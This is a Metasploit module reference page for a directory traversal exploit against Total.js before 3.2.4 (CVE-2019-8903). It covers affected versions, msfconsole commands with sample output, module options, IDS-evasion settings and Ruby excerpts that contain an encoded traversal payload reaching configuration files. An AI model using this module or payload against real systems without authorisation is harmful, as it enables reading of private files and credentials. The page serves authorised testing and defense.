Total.js prior to 3.2.4 Directory Traversal - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/totaljs_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Total.js prior to 3.2.4 Directory Traversal
Module: auxiliary/scanner/http/totaljs_traversal
Source code: modules/auxiliary/scanner/http/totaljs_traversal.rb
Disclosure date: 2019-02-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-8903

This module check and exploits a directory traversal vulnerability in Total.js prior to 3.2.4. Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml, woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache, manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/scanner/http/totaljs_traversal
msf auxiliary(totaljs_traversal) > show targets
    ... a list of targets ...
msf auxiliary(totaljs_traversal) > set TARGET target-id
msf auxiliary(totaljs_traversal) > show options
    ... show and set options ...
msf auxiliary(totaljs_traversal) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module check and exploits a Directory Traversal vulnerability in Total.js framework < 3.2.4 (CVE-2019-8903). Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml, woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache, manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic.

Vulnerable Application


Affecting total.js package, versions:

  • >=2.1.0 <2.1.1
  • >=2.2.0 <2.2.1
  • >=2.3.0 <2.3.1
  • >=2.4.0 <2.4.1
  • >=2.5.0 <2.5.1
  • >=2.6.0 <2.6.3
  • >=2.7.0 <2.7.1
  • >=2.8.0 <2.8.1
  • >=2.9.0 <2.9.5
  • >=3.0.0 <3.0.1
  • >=3.1.0 <3.1.1
  • >=3.2.0 <3.2.4

Verification Steps


  1. On a Node v8 environment do: npm install [email protected]
  2. Install an app on top of the Total.js framework, something like Total.js CMS
    • git clone https://github.com/totaljs/cms.git
    • cd cms && npm install
  3. Start msfconsole
  4. use auxiliary/scanner/http/totaljs_traversal
  5. set RHOST <IP>
  6. set RPORT <PORT>
  7. run
  8. Verify you get Total.js version if the target is vulnerable!

Options


DEPTH

Traversal depth. Default is 1

FILE

File to obtain. Default is databases/settings.json

Scenarios


Tested on Total.js framework 3.2.0 and Total.js CMS 12.0.0

msf5 > use auxiliary/scanner/http/totaljs_traversal 
msf5 auxiliary(scanner/http/totaljs_traversal) > set RHOST 192.168.2.59
RHOST => 192.168.2.59
msf5 auxiliary(scanner/http/totaljs_traversal) > set RPORT 8320
RPORT => 8320
msf5 auxiliary(scanner/http/totaljs_traversal) > run
[*] Running module against 192.168.2.59

[*] Total.js version is: ^3.2.0
[*] App name: CMS
[*] App description: A simple and powerful CMS solution written in Total.js / Node.js.
[*] App version: 12.0.0
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/totaljs_traversal) >

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/totaljs_traversal auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/totaljs_traversal

msf6 auxiliary(scanner/http/totaljs_traversal) > show info

       Name: Total.js prior to 3.2.4 Directory Traversal
     Module: auxiliary/scanner/http/totaljs_traversal
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-02-18

Provided by:
  Riccardo Krauter
  Fabio Cogno

Available actions:
  Name      Description
  ----      -----------
  CHECK     Check if the target is vulnerable
  DOWNLOAD  Attempt to download a file
  READ      Attempt to print file content

Check supported:
  Yes

Basic options:
  Name       Current Setting          Required  Description
  ----       ---------------          --------  -----------
  DEPTH      1                        yes       Traversal depth
  FILE       databases/settings.json  yes       File to obtain
  Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                              yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80                       yes       The target port (TCP)
  SSL        false                    no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                        yes       Path to Total.js App installation
  VHOST                               no        HTTP server virtual host

Description:
  This module check and exploits a directory traversal vulnerability 
  in Total.js prior to 3.2.4. Here is a list of accepted extensions: 
  flac, jpg, jpeg, png, gif, ico, js, css, txt, xml, woff, woff2, otf, 
  ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, 
  appcache, manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, 
  package, json, md, m4v, jsx, heif, heic

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-8903
  https://cwe.mitre.org/data/definitions/22.html
  https://blog.totaljs.com/blogs/news/20190213-a-critical-security-fix/
  https://snyk.io/vuln/SNYK-JS-TOTALJS-173710

Module Options


This is a complete list of options available in the scanner/http/totaljs_traversal auxiliary module:

msf6 auxiliary(scanner/http/totaljs_traversal) > show options

Module options (auxiliary/scanner/http/totaljs_traversal):

   Name       Current Setting          Required  Description
   ----       ---------------          --------  -----------
   DEPTH      1                        yes       Traversal depth
   FILE       databases/settings.json  yes       File to obtain
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                              yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80                       yes       The target port (TCP)
   SSL        false                    no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                        yes       Path to Total.js App installation
   VHOST                               no        HTTP server virtual host

Auxiliary action:

   Name   Description
   ----   -----------
   CHECK  Check if the target is vulnerable

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/totaljs_traversal auxiliary module:

msf6 auxiliary(scanner/http/totaljs_traversal) > show advanced

Module advanced options (auxiliary/scanner/http/totaljs_traversal):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/totaljs_traversal module can do:

msf6 auxiliary(scanner/http/totaljs_traversal) > show actions

Auxiliary actions:

   Name      Description
   ----      -----------
   CHECK     Check if the target is vulnerable
   DOWNLOAD  Attempt to download a file
   READ      Attempt to print file content

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/totaljs_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/totaljs_traversal) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Extension <EXT> is not supported by the HTTP static route of the framework


Here is a relevant code snippet related to the "Extension <EXT> is not supported by the HTTP static route of the framework" error message:

59:	    ]
60:	
61:	    ext = datastore['FILE'].split('.').last
62:	
63:	    unless extensions.include? ext
64:	      print_warning "Extension #{ext} is not supported by the HTTP static route of the framework"
65:	    end
66:	  end
67:	
68:	  def check
69:	    uri = normalize_uri(target_uri.path) + '%2e%2e%2fpackage.json'

No response


Here is a relevant code snippet related to the "No response" error message:

85:	    elsif res && res.headers['X-Powered-By'].to_s.downcase.include?('total.js')
86:	      print_status('Target appear to be vulnerable!')
87:	      print_status("X-Powered-By: #{res.headers['X-Powered-By']}")
88:	      return Exploit::CheckCode::Detected
89:	    else
90:	      vprint_warning('No response')
91:	      return Exploit::CheckCode::Unknown
92:	    end
93:	  end
94:	
95:	  def read

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

100:	    res = send_request_cgi(
101:	      'method' => 'GET',
102:	      'uri' => uri
103:	    )
104:	    unless res
105:	      fail_with(Failure::Unreachable, 'Connection failed')
106:	    end
107:	    if res.code != 200
108:	      print_error("Unable to read '#{datastore['FILE']}', possibly because:")
109:	      print_error("\t1. File does not exist.")
110:	      print_error("\t2. No permission.")

Unable to read '<FILE>', possibly because


Here is a relevant code snippet related to the "Unable to read '<FILE>', possibly because" error message:

103:	    )
104:	    unless res
105:	      fail_with(Failure::Unreachable, 'Connection failed')
106:	    end
107:	    if res.code != 200
108:	      print_error("Unable to read '#{datastore['FILE']}', possibly because:")
109:	      print_error("\t1. File does not exist.")
110:	      print_error("\t2. No permission.")
111:	      return
112:	    end
113:	    print_status("Getting #{datastore['FILE']}...")

1. File does not exist.


Here is a relevant code snippet related to the "1. File does not exist." error message:

104:	    unless res
105:	      fail_with(Failure::Unreachable, 'Connection failed')
106:	    end
107:	    if res.code != 200
108:	      print_error("Unable to read '#{datastore['FILE']}', possibly because:")
109:	      print_error("\t1. File does not exist.")
110:	      print_error("\t2. No permission.")
111:	      return
112:	    end
113:	    print_status("Getting #{datastore['FILE']}...")
114:	    print_line(res.body)

2. No permission.


Here is a relevant code snippet related to the "2. No permission." error message:

105:	      fail_with(Failure::Unreachable, 'Connection failed')
106:	    end
107:	    if res.code != 200
108:	      print_error("Unable to read '#{datastore['FILE']}', possibly because:")
109:	      print_error("\t1. File does not exist.")
110:	      print_error("\t2. No permission.")
111:	      return
112:	    end
113:	    print_status("Getting #{datastore['FILE']}...")
114:	    print_line(res.body)
115:	  end

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

122:	    res = send_request_cgi(
123:	      'method' => 'GET',
124:	      'uri' => uri
125:	    )
126:	    unless res
127:	      fail_with(Failure::Unreachable, 'Connection failed')
128:	    end
129:	    if res.code != 200
130:	      print_error("Unable to read '#{datastore['FILE']}', possibly because:")
131:	      print_error("\t1. File does not exist.")
132:	      print_error("\t2. No permission.")

Unable to read '<FILE>', possibly because


Here is a relevant code snippet related to the "Unable to read '<FILE>', possibly because" error message:

125:	    )
126:	    unless res
127:	      fail_with(Failure::Unreachable, 'Connection failed')
128:	    end
129:	    if res.code != 200
130:	      print_error("Unable to read '#{datastore['FILE']}', possibly because:")
131:	      print_error("\t1. File does not exist.")
132:	      print_error("\t2. No permission.")
133:	      return
134:	    end
135:	    fname = datastore['FILE'].split('/')[-1].chop

1. File does not exist.


Here is a relevant code snippet related to the "1. File does not exist." error message:

126:	    unless res
127:	      fail_with(Failure::Unreachable, 'Connection failed')
128:	    end
129:	    if res.code != 200
130:	      print_error("Unable to read '#{datastore['FILE']}', possibly because:")
131:	      print_error("\t1. File does not exist.")
132:	      print_error("\t2. No permission.")
133:	      return
134:	    end
135:	    fname = datastore['FILE'].split('/')[-1].chop
136:	    ctype = res.headers['Content-Type'].split(';')

2. No permission.


Here is a relevant code snippet related to the "2. No permission." error message:

127:	      fail_with(Failure::Unreachable, 'Connection failed')
128:	    end
129:	    if res.code != 200
130:	      print_error("Unable to read '#{datastore['FILE']}', possibly because:")
131:	      print_error("\t1. File does not exist.")
132:	      print_error("\t2. No permission.")
133:	      return
134:	    end
135:	    fname = datastore['FILE'].split('/')[-1].chop
136:	    ctype = res.headers['Content-Type'].split(';')
137:	    loot = store_loot('lfi.data', ctype[0], rhost, res.body, fname)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Riccardo Krauter
  • Fabio Cogno

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.